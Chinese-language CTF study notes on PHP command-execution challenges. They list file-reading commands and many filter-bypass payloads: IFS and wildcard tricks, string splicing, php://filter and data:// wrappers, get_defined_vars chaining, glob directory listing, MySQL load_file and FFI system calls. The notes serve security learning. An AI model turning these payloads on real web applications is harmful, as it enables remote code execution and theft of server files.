常见的系统命令可以进行命令执行:
awk 格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出
cat/tac 读取,tac是cat的倒向读取
nl 读取文件,并在文件的每一行前面标上行号
vi/vim 编辑器,可以实现查看文件
od 二进制方式读取文件内容
more 类似于cat
mv/cp 复制,但是可以通过复制的文件输出
unique 可以通过file -f;报错出具体内容
ls 读目录
引用自CTF命令执行小总结
绕过姿势
- 空格绕过
用${IFS}、$@、%09、%0a、$IFS$9、<>代替空格
{cat,flag.txt} cat<flag.txt
- 特殊符号过滤
preg_match("/\.| |\'/i", $c)
(1) 嵌套传入参数
c=eval($_GET[a]);&a=system('cat flag.php');
(2) 用符号替代
使用通配符*
或者占位符?
来绕过对小数点及php后缀的限制
用?>
代替分号因为php中遇到定界符关闭标签会自动在末尾加上一个分号。
(3) 拼接法
?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");
(4) 绕过特定命令
使用大小写
使用双引号
使用passthru来绕过对system的限制;
用tac、uniq、nl、/bin/ca?、c??等绕过cat的限制;
同时利用伪协议:
?a=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?a=include%0a$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=php://input
POST传输<?php system('tac flag.php');?>
为什么感觉知道这个方法之后简单的过滤就能通杀了???
(4) 过滤一坨
preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)
调用函数绕过
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); //这里的pos(localeconv())可以用getcwd()代替
?c=eval(array_pop(next(get_defined_vars()))); //需要POST传入参数为1=system('tac fl*');
具体可以自己将每个函数输出看一下,可以方便自己理解原理,真的很巧妙。。
system($c." >/dev/null 2>&1");
>/dev/null 2>&1
详细细节参考>/dev/null 2>&1详解
/dev/null
执行某个命令但又不希望在屏幕上显示输出结果,可以将输出重定向到 /dev/nul
2>&1
将错误输出和标准输出输出到同一个地方。
为了不让执行信息输出屏幕,加上 >/dev/null 2>&1 命令来丢弃所有的输出
可以利用;
或||
分隔分化一下 构造payload,如:c=ls;ls
过滤了系统命令
print_r(scandir(dirname('FILE'))); or var_dump(scandir('.')); or var_export(); //扫描文件
highlight_file("flag.php"); or show_source("flag.php"); //直接高亮显示
或者利用伪协议 include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
implode函数将数组转换成字符串再打印,再配合echo、print等函数输出
读取函数readgzfile:可以读取非gz格式的文件
劫持缓冲区
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
需要提前将输出送出缓冲区或者提前结束程序
ob_flush();
ob_end_flush();
exit();
die();
scandir禁用
var_export(glob('../../..'.'/*'));
c=$a=new DirectoryIterator("glob:///*"); foreach($a as $b) {echo($b->__toString().' ');} exit(0);
glob伪协议返回根目录下所有文件,并转换为字符串打印
利用mysql获取文件
当include受目录限制后就没法获取根目录下的flag
$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt')"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result; } exit();
关于这个数据库名呢,可以先这样
$conn = mysqli_connect("127.0.0.1", "root", "root", "information_schema"); $sql = "select group_concat(schema_name)from schemata"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo implode($result); } exit();
像SQL注入那样去获取库名然后再load_file
,真的感觉有好多要学
视频讲解中的特性
$ffi=FFI::cdef("int system(const char *command);");
$a='命令';
$ffi->system($a);exit();